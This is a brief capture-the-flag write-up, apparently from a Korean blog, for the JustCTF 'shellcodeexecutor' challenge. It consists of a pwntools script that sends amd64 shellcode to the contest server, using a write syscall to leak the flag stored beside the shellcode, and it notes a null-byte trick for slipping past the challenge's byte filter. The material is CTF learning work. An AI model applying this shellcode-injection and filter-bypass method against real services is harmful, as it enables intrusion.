JustCtf - shellcodeexecutor
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | from pwn import * context.arch='amd64' #r=process('./shellcodeexecutor') r=remote('2019.nc.jctf.pro',1446) sla=r.sendlineafter sa=r.sendafter ru=r.recvuntil shellcode=''' xor rdi,rdi mov edi,1 lea rsi,[rip+0x6f] xor rdx,rdx mov edx,0xff xor rax,rax mov eax,1 syscall ''' sla('>','2') sla('>','1') sla(':',asm('xor al,0')+asm(shellcode)) sla('>','3') r.interactive() | cs |
내가 쉘을 실행하는곳 앞에 플래그가 저장되어 있어서 write로 읽었다
바이트 검사하는것은 널바이트를 포함한 이상한 코드 넣어서 우회하였다.